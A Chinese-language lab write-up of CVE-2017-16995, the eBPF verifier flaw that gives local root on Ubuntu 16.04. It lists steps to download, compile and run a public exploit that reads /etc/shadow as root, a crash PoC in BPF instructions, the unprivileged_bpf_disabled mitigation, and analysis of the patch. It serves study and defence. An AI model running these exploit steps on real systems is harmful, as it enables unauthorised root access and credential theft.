Ubuntu本地提权(CVE-2017-16995)

文章目录
  1. 1. 实验工具
  2. 2. 实验内容
    1. 2.0.1. 漏洞概述
    2. 2.0.2. 影响范围
  • 3. 实验环境
  • 4. 实验步骤
    1. 4.0.1. 第1步 漏洞验证
    2. 4.0.2. 第2步 漏洞缓解
  • 5. 漏洞原理分析
    1. 5.0.1. Poc分析技术细节
    2. 5.0.2. 补丁分析
    3. 5.0.3. 漏洞原理
    4. 5.0.4. 技术细节
  • 6. 参考链接
  • 7. 时间线
  • 本篇文章本来来自于ichunqiu上的一次漏洞复现,但是我在复现过程中发现该实验只有如何利用漏洞,并没有详细对漏洞的原理,对poc进行解读。所以我在不同的平台仔细查找了一下关于这个漏洞的原理分析,并且整理成了一篇文章进行发布。所有参考链接都已附上。

    实验工具

    upstream44.c: 实验中本地提权EXP的源文件,需编译后执行

    实验内容

    漏洞概述

    近日,360-CERT监测到编号为CVE-2017-16995的Linux内核漏洞攻击代码被发布,及时发布了预警通告并继续跟进。该漏洞最早由Google project zero披露,并公开了相关poc。2017年12月23日,相关提权代码被公布,日前出现的提权代码是修改过来的版本。

    BPF(Berkeley PacketFilter)是一个用于过滤(filter)网络报文(packet)的架构,其中著名的tcpdump,wireshark都使用到了它(具体介绍见参考资料2)。而eBPF就是BPF的一种扩展。然而在Linux内核实现中,存在一种绕过操作可以导致本地提权。

    该漏洞在老版本中已经得到修复,然而最新版本中任可被利用,官方暂未发布相关补丁,漏洞处于0day状态。

    影响范围

    Ubuntu 16.04.1~16.04.4 均存在此漏洞

    实验环境

    实验步骤

    第1步 漏洞验证

    打开Kali终端,输入wget
    http://file.ichunqiu.com/r36f8pnp/upstream44.c
    下载实验文件到当前目录

    使用sftp将实验文件上传到目标机上(一般情况下提权文件由shell上传,此次不做为重点介绍)

    命令为 sftp ichunqiu@172.16.12.2,密码:ichunqiu,上传命令:put upstream44.c

    sftp

    ichunqiu是一个测试的普通权限用户

    接着,我们使用ssh登录目标机器的ichunqiu用户

    ssh

    这时可以看见我们的用户权限,没有cat /etc/shadow的权限

    permission

    接下来开始编译该文件,编译命令:gcc -o upstream44 upstream44.c

    gcc

    得到可执行文件upstream44

    最后,执行刚刚编译后的文件,成功提升至root权限

    提权

    我们再来 cat /etc/shadow一下,现在可以看见内容了

    第2步 漏洞缓解

    虽然官网暂时未发布补丁升级方案,但是可以通过修改内核参数来限制普通用户使用bpf(2)系统调用的方式以规避风险。

    修改命令如下

    1
    echo 1 \> /proc/sys/kernel/unprivileged_bpf_disabled

    我们运行该命令后,再切换至普通用户执行EXP查看效果

    修复后效果

    可以看见报错:error: Operation not permitted,操作不被允许

    漏洞原理分析

    Poc分析技术细节

    Poc概要

    分析环境:

    内核:v4.14-rc1

    主要代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),  
    BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), // fill r0 with pointer to map value
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
    BPF_MOV32_IMM(BPF_REG_ARG2, 1),
    BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
    BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
    BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
    BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
    BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
    BPF_EXIT_INSN(), // exit
    BPF_MOV32_IMM(BPF_REG_1, 0xffffffff), // r1 = 0xffff’ffff, mistreated as
    0xffff’ffff’ffff’ffff
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), // r1 = 0x1’0000’0000, mistreated as 0
    BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28), // r1 = 0x1000’0000’0000’0000, mistreated
    as 0
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), // compute noncanonical pointer
    BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
    BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), // crash by writing to noncanonical
    pointer
    BPF_MOV32_IMM(BPF_REG_0, 0), // terminate to make the verifier happy
    BPF_EXIT_INSN()

    要理清这段代码为什么会造成崩溃,需要理解bpf程序的执行流程(见参考资料2)

    用户提交bpf代码时,进行一次验证(模拟代码执行),而在执行的时候并不验证。

    而漏洞形成的原因在于:模拟执行代码(验证的过程中)与真正执行时的差异造成的。

    接下来从这两个层面分析,就容易发现问题了。

    模拟执行(验证过程)分析(寄存器用uint64_t、立即数用int32_t表示)

    (11) 行 : 将 0xffffffff放入BPF_REG_1寄存器中(分析代码发现进行了符号扩展 BPF_REG_1 为 0xffffffffffffffff)

    (12) 行 :BPF_REG_1 = BPF_REG_1 + 1,此时由于寄存器溢出,只保留低64位(寄存器大小为64位),所以 BPF_REG_1变为0

    (13) 行 : 左移,BPF_REG_1还是0

    (14) 行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1,BPF_REG_0,保持不变(该操作能绕过接下来的地址检查操作)

    (15)、(16): 将 map value 的值改为 0xdeadbeef。(赋值时会检查 map value地址的合法性,我们从上面分析可以得出,map value地址合法)

    验证器(模拟执行)该bpf 代码,发现没什么问题,允许加载进内核。

    真正执行(bpf虚拟机)分析(寄存器用uint64_t,立即数转化成uint32_t表示)

    (11)行 : 将 0xffff`ffff(此时立即数会转换为uint32_t) 放入 BPF_REG_1 的低32
    位,不会发生符号扩展。

    (12)行 : BPF_REG_1 = BPF_REG_1 + 1 ,此时 BPF_REG_1 =
    0x100000000(再次提示:运行时寄存器用 uint64_t表示)

    (13)行 : 左移,BPF_REG_1 = 0x1000’0000’0000’0000

    (14)行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1,此时BPF_REG_0变成一个非法值

    (15)、(16): 导致非法内存访问,崩溃!

    以上就是Poc导致崩溃的原因。

    补丁分析

    上述是Jann Horn针对check_alu_op()函数里符号扩展问题提供的补丁。

    原理是将32位有符号数在进入__mark_reg_known函数前先转化成了32位无符号数,这样就无法进行符号扩展了。
    验证如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    \#include \<stdio.h\> \#include \<stdint.h\> void \__mark_reg_known(uint64_t
    imm)

    {

    uint64_t reg = 0xffffffffffffffff;

    if(reg != imm)

    printf("360-CERT\\n");

    }

    int main() {

    int imm = 0xffffffff;

    \__mark_reg_known((uint32_t)imm);

    return 0;

    }

    此时不会进行符号扩展,输出结果:360-CERT。

    漏洞原理

    造成该漏洞的根本原因是:验证时模拟执行的结果与BPF虚拟机执行时的不一致造成的。

    该漏洞其实是个符号扩展漏洞,给个简单的代码描述该漏洞成因:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    \#include \<stdio.h\> \#include \<stdint.h\> int main(void){

    int imm = -1;

    uint64_t dst = 0xffffffff;

    if(dst != imm){

    printf("360 cert\\n");

    }

    return 0;

    }

    在比较时,会将 imm 进行扩展 导致 imm 为 0xffffffffffff`ffff 所以会导致输出 360
    cert

    技术细节

    用户通过bpf函数,设置命名参数为BPF_PROG_LOAD,向内核提交bpf程序。内核在用户提交程序的时候,会进行验证操作,验证bpf程序的合法性(进行模拟执行)。但是只在提交时进行验证,运行时并不会验证,所以我们可以想办法让恶意代码饶过验证,并执行我们的恶意代码。

    验证过程如下:

    1
    2
    3
    4
    5
    1.kernel/bpf/syscall.c:bpf_prog_load

    2.kernel/bpf/verifier.c:bpf_check

    3.kernel/bpf/verifier.c:do_check

    在第3个函数中,会对每一条bpf指令进行验证,我们可以分析该函数。发现该函数会使用类似分支预测的特性。对不会执行的分支根本不会去验证(重点:我们可以让我们的恶意代码位于“不会”跳过去的分支中

    其中对条件转移指令的解析位于:

    1
    1.kernel/bpf/verifier.c: check_cond_jmp_op

    分析该函数可以发现:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    if (BPF_SRC(insn-\>code) == BPF_K &&

    (opcode == BPF_JEQ \|\| opcode == BPF_JNE) &&

    regs[insn-\>dst_reg].type == CONST_IMM &&

    regs[insn-\>dst_reg].imm == insn-\>imm) {

    if (opcode == BPF_JEQ) {

    /\* if (imm == imm) goto pc+off;

    \* only follow the goto, ignore

    fall-through

    \*/

    \*insn_idx += insn-\>off;

    return 0;

    } else {

    /\* if (imm != imm) goto pc+off;

    \* only follow fall-through branch,

    since

    \* that's where the program will go

    \*/ return 0;

    }

    }

    寄存器与立即数进行 “不等于”条件判断时,进行了静态分析工作,分析到底执不验证该分支(需结合kernel/bpf/verifier.c:do_check)。而在进行立即数与寄存器比较时,寄存器的类型为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    struct reg_state { enum bpf_reg_type type;

    union {

    /\* valid when type == CONST_IMM \| PTR_TO_STACK \*/ int imm;

    /\* valid when type == CONST_PTR_TO_MAP \| PTR_TO_MAP_VALUE \|

    \* PTR_TO_MAP_VALUE_OR_NULL

    \*/ struct bpf_map \*map_ptr;

    };

    };

    立即数的类型为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    struct bpf_insn {

    \__u8 code; /\* opcode \*/

    \__u8 dst_reg:4; /\* dest register \*/

    \__u8 src_reg:4; /\* source register \*/

    \__s16 off; /\* signed offset \*/

    \__s32 imm; /\* signed imUbuntu本地提权(CVE-2017-16995)te constant \*/

    };

    都为有符号且宽度一致,该比较不会造成问题。

    现在转移到bpf虚拟机执行bpf指令的函数:

    1
    /kernel/bpf/core.c: \__bpf_prog_run

    分析该函数,发现

    1
    u64 regs[MAX_BPF_REG];

    其中用 uint64_t 表示寄存器,而立即数继续为struct bpf_insn 中的imm字段.

    查看其解析“不等于比较指令”的代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    \#define DST regs[insn-\>dst_reg] \#define IMM insn-\>imm

    ........

    JMP_JEQ_K:

    if (DST == IMM) {

    insn += insn-\>off;

    CONT_JMP;

    }

    CONT;

    进行了32位有符号与64位无符号的比较。

    那么我们可以这样绕过恶意代码检查:

    1
    2
    3
    4
    5
    6
    7
    (u32)r9= (u32)-1 if r9 != 0xffff\`ffff goto bad_code

    ro,0 exit

    bad_code:

    .........

    在提交代码进行验证时,对 jne 分析,发现不跳,会略过bad_code的检查。

    但是真正运行时,会导致跳转为真,执行我们的恶意代码。

    从参考资料3中,下载exp。我们可以在用户向内核提交bpf代码前,将 union bpf_attr结构中的 log_level 字段 设置为1,log其他字段合理填写。在调用提交代码之后,输出log。我们就可以发现我们的那些指令经过了验证。验证结果如下:

    可以发现只验证了4 条,但是该exp 有30多条指令(提权)……

    我们查看造成漏洞的代码(64位无符号与32位有符号的比较操作),

    发现其成功跳过了退出指令,执行到了bad_code。

    参考链接

    https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

    https://www.ibm.com/developerworks/cn/linux/l-lo-eBPF-history/index.html

    http://cyseclabs.com/exploits/upstream44.c

    https://sysprogs.com/VisualKernel/tutorials/setup/ubuntu/

    https://github.com/mrmacete/r2scripts/blob/master/bpf/README.md

    https://bugs.chromium.org/p/project-zero/issues/detail?id=1454&desc=3

    https://github.com/iovisor/bpf-docs/blob/master/eBPF.md

    https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c

    https://www.ichunqiu.com/experiment/detail?id=61491&source=1

    https://www.zhihu.com/search?type=content&q=cve-2017-16995

    时间线

    2017-12-21 漏洞相关信息公开

    2018-03-16 提权攻击代码被公开

    2018-03-16 360CERT对外发布预警通告

    2018-03-21 360CERT对外发布技术报告